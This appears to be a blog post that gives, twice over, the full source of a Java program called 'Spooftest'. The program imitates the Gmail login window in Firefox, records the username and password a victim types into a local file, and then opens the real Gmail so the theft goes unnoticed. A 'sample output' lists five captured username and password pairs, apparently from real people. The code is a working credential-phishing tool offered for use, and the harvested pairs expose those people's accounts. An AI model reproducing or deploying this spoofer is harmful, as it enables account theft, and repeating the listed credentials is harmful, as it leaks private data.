/*Download the Below image (abc5.png) and enter valid path. Output is Saved in Output.txt file (on specified Path)*/
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.io.FileWriter;
import java.io.IOException;
import javax.swing.*;
public class Spooftest {
public static JFrame f1;
public static Container c;
public static JTextField us,add;
public static JLabel login;
public static JLabel gmail,redi;
public static Font font;
public static ImageIcon img;
public static String u,pa;
public static BufferedWriter writer;
public static JPasswordField pass;
public static Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
public Spooftest() {
f1=new JFrame();
font=new Font("Calibri",Font.PLAIN,15);
f1.setContentPane(new JLabel(new ImageIcon("/home/apcoer/Pictures/abc5.png")));
f1.setLayout(null);
img=new ImageIcon("");
c=f1.getContentPane();
us=new JTextField();
pass=new JPasswordField();
add=new JTextField();
login=new JLabel();
gmail=new JLabel("Gmail - Mozilla Firefox");
redi=new JLabel(img);
us.setBorder(javax.swing.BorderFactory.createEmptyBorder());
pass.setBorder(javax.swing.BorderFactory.createEmptyBorder());
add.setBorder(javax.swing.BorderFactory.createEmptyBorder());
us.setFont(font);
pass.setFont(font);
f1.setTitle("Gmail - Mozilla Firefox");
redi.setBounds((int) (d.width/4), d.height/10, (int) (d.width/1.71),(int) (d.height/0.96));
gmail.setBounds(700,5,300,30);
f1.setBounds(0, 0, d.width, d.height);
us.setBounds((int) (d.width/2.134), (int) (redi.getY()/0.168)-80, 170, 30);
pass.setBounds((int) (d.width/2.134), (int) (d.height/1.505)-100, 170, 40);
login.setBounds(656, 548, 275, 50);
add.setBounds(73, 70, 1040, 25);
add.setText("http://");
redi.setIcon(img);
login.setOpaque(false);
c.add(us);
c.add(pass);
c.add(login);
c.add(add);
c.add(redi);
f1.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
f1.setVisible(true);
add.setText("http://mail.google.com");
us.setVisible(true);
pass.setVisible(true);
login.setVisible(true);
redi.setVisible(true);
login.addMouseListener(new MouseListener() {
@Override
public void mouseReleased(MouseEvent e) {
String[] param = {"/usr/bin/firefox","mail.google.com"};//Open the gamil.com in browser
Runtime r = Runtime.getRuntime();
Process p = null;
try
{
p = r.exec(param);
}
catch(Exception e1)
{
System.out.println("Error executing " + e);
}
u=us.getText();
pa=pass.getText();
System.out.println("data::"+u);
try {
String str=" ";
writer = new BufferedWriter(new FileWriter("/home/apcoer/Desktop/output.txt",true));
writer.newLine();
writer.append(u+str);
writer.append(pa);
} catch (IOException e1) {
System.err.println(e);
} finally {
if (writer != null) {
try {
writer.close();
} catch (IOException e1) {
System.err.println(e);
}
}
}
}
@Override
public void mousePressed(MouseEvent e) {}
@Override
public void mouseExited(MouseEvent e) { }
@Override
public void mouseEntered(MouseEvent e) {}
@Override
public void mouseClicked(MouseEvent e) {}
});
}
public static void main(String[] args)
{
Spooftest s=new Spooftest();
}
}
/////////////////abc5.png////////////////////////
********************SampleOutput*********************
**********************Output.txt*****************************
pb98040 asdfghjk
hsb9595 comp321
yogeshdh99 apcoer123
arvind333 kejriwal
ganesh111 ~!ganuraj
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.io.FileWriter;
import java.io.IOException;
import javax.swing.*;
public class Spooftest {
public static JFrame f1;
public static Container c;
public static JTextField us,add;
public static JLabel login;
public static JLabel gmail,redi;
public static Font font;
public static ImageIcon img;
public static String u,pa;
public static BufferedWriter writer;
public static JPasswordField pass;
public static Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
public Spooftest() {
f1=new JFrame();
font=new Font("Calibri",Font.PLAIN,15);
f1.setContentPane(new JLabel(new ImageIcon("/home/apcoer/Pictures/abc5.png")));
f1.setLayout(null);
img=new ImageIcon("");
c=f1.getContentPane();
us=new JTextField();
pass=new JPasswordField();
add=new JTextField();
login=new JLabel();
gmail=new JLabel("Gmail - Mozilla Firefox");
redi=new JLabel(img);
us.setBorder(javax.swing.BorderFactory.createEmptyBorder());
pass.setBorder(javax.swing.BorderFactory.createEmptyBorder());
add.setBorder(javax.swing.BorderFactory.createEmptyBorder());
us.setFont(font);
pass.setFont(font);
f1.setTitle("Gmail - Mozilla Firefox");
redi.setBounds((int) (d.width/4), d.height/10, (int) (d.width/1.71),(int) (d.height/0.96));
gmail.setBounds(700,5,300,30);
f1.setBounds(0, 0, d.width, d.height);
us.setBounds((int) (d.width/2.134), (int) (redi.getY()/0.168)-80, 170, 30);
pass.setBounds((int) (d.width/2.134), (int) (d.height/1.505)-100, 170, 40);
login.setBounds(656, 548, 275, 50);
add.setBounds(73, 70, 1040, 25);
add.setText("http://");
redi.setIcon(img);
login.setOpaque(false);
c.add(us);
c.add(pass);
c.add(login);
c.add(add);
c.add(redi);
f1.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
f1.setVisible(true);
add.setText("http://mail.google.com");
us.setVisible(true);
pass.setVisible(true);
login.setVisible(true);
redi.setVisible(true);
login.addMouseListener(new MouseListener() {
@Override
public void mouseReleased(MouseEvent e) {
String[] param = {"/usr/bin/firefox","mail.google.com"};//Open the gamil.com in browser
Runtime r = Runtime.getRuntime();
Process p = null;
try
{
p = r.exec(param);
}
catch(Exception e1)
{
System.out.println("Error executing " + e);
}
u=us.getText();
pa=pass.getText();
System.out.println("data::"+u);
try {
String str=" ";
writer = new BufferedWriter(new FileWriter("/home/apcoer/Desktop/output.txt",true));
writer.newLine();
writer.append(u+str);
writer.append(pa);
} catch (IOException e1) {
System.err.println(e);
} finally {
if (writer != null) {
try {
writer.close();
} catch (IOException e1) {
System.err.println(e);
}
}
}
}
@Override
public void mousePressed(MouseEvent e) {}
@Override
public void mouseExited(MouseEvent e) { }
@Override
public void mouseEntered(MouseEvent e) {}
@Override
public void mouseClicked(MouseEvent e) {}
});
}
public static void main(String[] args)
{
Spooftest s=new Spooftest();
}
}
/////////////////abc5.png////////////////////////
********************SampleOutput*********************
**********************Output.txt*****************************
pb98040 asdfghjk
hsb9595 comp321
yogeshdh99 apcoer123
arvind333 kejriwal
ganesh111 ~!ganuraj


No comments:
Post a Comment